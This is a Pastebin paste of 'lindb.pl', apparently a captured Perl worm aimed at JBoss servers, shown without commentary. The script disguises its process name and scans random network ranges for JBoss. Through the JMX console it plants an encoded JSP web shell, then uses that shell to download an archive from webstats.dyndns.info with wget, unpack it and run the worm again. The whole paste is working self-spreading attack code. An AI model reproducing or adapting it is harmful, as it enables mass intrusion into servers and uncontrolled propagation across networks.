SHARE
TWEET

lindb.pl

eromang Oct 24th, 2011 1,179 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. use IO::Socket;
  2. my $mark=`ps aux | grep /usr/local/jboss/bin/javahttpd | grep -v grep`;
  3. $ii=`whoami`;
  4. if ($ii=~/root/g) {
  5.   system("sh treat.sh&");
  6. }
  7. if(length($mark)>260) {
  8.   die;
  9. }
  10. my $processo = "/usr/local/jboss/bin/javahttpd";
  11. my $pid=fork;
  12. exit if $pid;
  13. $0="$processo"." "x16;
  14. `make lnx`;
  15. system("make lnx");
  16. system("perl fly.pl&");
  17. $idssvc = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=idssvc.war&argType=java.lang.String&arg1=idssvc&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n";
  18. while(1) {
  19.   $partx=int(rand(255));
  20.   $fl="/tmp/sess_0088025413980486928597bf$partx";
  21.   $party=int(rand(255));
  22.   $sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6500 $partx.$party.0.0/16 80 > $fl";
  23.   system($sudoku);
  24.   open FILE, "$fl" or die "I cannot live like this!\n";
  25.   my @target = <FILE>;
  26.   close(FILE);
  27.   foreach $possible (@target) {
  28.     $possible=~s/\)//;
  29.     $possible=~s/\(//;
  30.     $possible=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)80\s/g;
  31.     $it="$1.$2.$3.$4";
  32.     $it=~s/\s//g;
  33.     $it=~s/ //g;
  34.     $it=~s/\t//g;
  35.     my $crap = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto np;
  36.     print $crap $idssvc;
  37.     $page = "";
  38.     $page .= $_ while <$crap>;
  39.     sleep(2);
  40.     if($page=~/200/||$page=~/500/) {
  41.       push(@target,$it);
  42.     }
  43.     np: close($crap);
  44.   }
  45.   foreach $it (@target) {
  46.     my $sck = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
  47.     print $sck "GET /idssvc/idssvc.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n";
  48.     $page = "";
  49.     $page .= $_ while <$sck>;
  50.     if($page=~/comments/g) {
  51.       my $scka = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
  52.       print $scka "GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n";
  53.       sleep(4);
  54.       close($scka);
  55.       my $sckb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
  56.       print $sckb "GET /idssvc/idssvc.jsp?comment=tar+xzvf+javadd.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n";
  57.       sleep(3);
  58.       close($sckb);
  59.       my $sckd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
  60.       print $sckd "GET /idssvc/idssvc.jsp?comment=perl+lindb.pl HTTP/1.0\r\nConnection: Close\r\n\r\n";
  61.       sleep(2);
  62.       close($sck);
  63.     }
  64.     nta: close($sck);
  65.   }
  66. }
  67.  
RAW Paste Data
Top